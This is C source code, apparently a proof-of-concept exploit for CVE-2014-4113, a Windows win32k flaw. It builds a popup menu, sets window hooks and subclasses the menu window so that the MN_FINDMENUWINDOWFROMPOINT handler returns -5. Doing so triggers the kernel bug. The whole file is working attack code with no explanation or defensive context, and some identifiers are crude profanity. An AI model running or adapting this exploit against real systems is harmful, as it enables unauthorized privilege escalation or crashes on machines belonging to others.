CVE-2014-4113-POC

#include "stdafx.h"
#include "tr.h"

#define MAX_LOADSTRING 100

#pragma comment(lib,"user32.lib")

HINSTANCE hInst;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
CHAR szWindowClass1[MAX_LOADSTRING]="woqunimalegebi";;
HWND global_hWnd;

ATOM                                MyRegisterClass(HINSTANCE hInstance);
BOOL                                InitInstance(HINSTANCE, int);
LRESULT CALLBACK        WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK        About(HWND, UINT, WPARAM, LPARAM);


void xxxMenu(int idhook);

DWORD WINAPI startaddress(
        _In_  LPVOID lpParameter
        )
{
        xxxMenu(2);

        return 0;
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        UNREFERENCED_PARAMETER(hPrevInstance);
        UNREFERENCED_PARAMETER(lpCmdLine);

        HANDLE hthread = CreateThread(0,0,startaddress,0,0,0);

        if (WaitForSingleObject(hthread,0x493e0))
        {
                TerminateThread(hthread,0);
                return 0;
        }
        return 0;
}


#define MN_ENDMENU 0x1F3
HHOOK hhk;

unsigned int g_flag=0;
unsigned int g_flag1= 0 ;
unsigned int g_flag2=0;
#define  MN_FINDMENUWINDOWFROMPOINT 0x1eb


WNDPROC lpPrevWndFunc;

LRESULT CALLBACK fn(
        _In_  int code,
        _In_  WPARAM wParam,
        _In_  LPARAM lParam
        )
{
        if (wParam==4)
        {
                if (*(DWORD *)lParam == GetCurrentThreadId())
                {
                        if (*(DWORD *)(lParam+12)==0x900516)
                        {
                                g_flag1 = 1;
                        }
                }
        }
        return CallNextHookEx(0,code,wParam,lParam);

}


LRESULT  newWinlng(HWND hwnd,
        UINT uMsg,
        WPARAM wParam,
        LPARAM lParam)
{
        if ( uMsg != MN_FINDMENUWINDOWFROMPOINT )
        {
                return CallWindowProcA(lpPrevWndFunc, hwnd, uMsg, wParam, lParam);
        }

        SetWindowsHookExA(9, fn, 0, GetCurrentThreadId());
        SendMessageA(hwnd, 0, 0x900516, 0);
        UnhookWindowsHook(9, fn);
        if ( g_flag1 )
        {
                EndMenu();
                return CallWindowProcA(lpPrevWndFunc, hwnd, MN_FINDMENUWINDOWFROMPOINT, wParam, lParam);
        }
        EndMenu();
        return -5;

}

LRESULT CALLBACK lpfn(
        _In_  int code,
        _In_  WPARAM wParam,
        _In_  LPARAM lParam
        )
{


        if (*(DWORD*)(lParam+8)==MN_FINDMENUWINDOWFROMPOINT)
        {
                if (!g_flag)
                {
                        g_flag = 1;
                        if (UnhookWindowsHook(4,lpfn))
                        {
                                lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam+12),-4,(LONG)newWinlng);

                        }
                }
        }
        return CallNextHookEx(0,code,wParam,lParam);

}



LRESULT CALLBACK WndProcTest_fuzz(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
        int wmId, wmEvent;
        PAINTSTRUCT ps;
        HDC hdc;
        int idhoo;
        switch (message)
        {
        case WM_ENTERIDLE:
                if (g_flag2!=1)
                {
                        g_flag2=1;
                        PostMessageA(hWnd,WM_KEYDOWN,0X28,0);
                        PostMessageA(hWnd,WM_KEYDOWN,0x27,0);
                        PostMessageA(hWnd,WM_LBUTTONDOWN,0,0);

                }
                break;
        default:
                return DefWindowProc(hWnd, message, wParam, lParam);
        }
        return 0;
}

HMENU popMenu()
{
        HMENU hmenu = CreatePopupMenu();

        CHAR name[4] = "AAA";
        MENUITEMINFOA item  ;
        HMENU hmenu2;
        memset(&item,0x00,sizeof(MENUITEMINFOA));
        item.cbSize = sizeof(item);
        item.fMask = MIIM_STRING;
        //item.fType = MFT_STRING ;
        //item.dwTypeData = name;
        //item.cch = 4 ;

        if (InsertMenuItemA(hmenu , 0 , 1 ,  &item ))
        {
                hmenu2 = CreatePopupMenu();
                CHAR name2[4] = "BBB";
                MENUITEMINFOA item2  ;
                memset(&item2,0x00,sizeof(MENUITEMINFOA));
                item2.cbSize = sizeof(item);
                item2.fMask = 0x44;
                item2.hSubMenu = hmenu;
                //item2.fType = MFT_STRING ;
                item2.dwTypeData = name;
                item2.cch = 1 ;
                if (!hmenu2 || !InsertMenuItemA(hmenu2,0,1,&item2))
                {
                        DestroyMenu(hmenu);

                        if (hmenu2)
                        {
                                DestroyMenu(hmenu2);
                        }
                }
        }
        else
        {
                DestroyMenu(hmenu);
        }
        return hmenu2;
}

void xxxMenu(int idhook)
{

        //registeclass
        WNDCLASSA wcex;

        memset(&wcex,0x00,sizeof(wcex));

        wcex.lpfnWndProc        = WndProcTest_fuzz;

        wcex.lpszClassName        = "wocaonimalegeb";

        RegisterClassA(&wcex);

        HWND hwin = CreateWindowExA(0,"wocaonimalegeb",0, 0,
                -1, -1, 0, 0, NULL, NULL, 0, NULL);

        HMENU hmenu = popMenu();

        if (hmenu)
        {

                if (SetWindowsHookExA(WH_CALLWNDPROC,lpfn,0,GetCurrentThreadId()))
                {
                        if (TrackPopupMenu(hmenu , 0 , -10000 , -10000 ,0,hwin , NULL ))
                        {
                                PostMessageA(hwin,0,0,0);
                        }
                }
        }

        DestroyWindow(hwin);

        if (hmenu)
        {
                DestroyMenu(hmenu);
        }

        UnhookWindowsHook(WH_CALLWNDPROC,lpfn);

}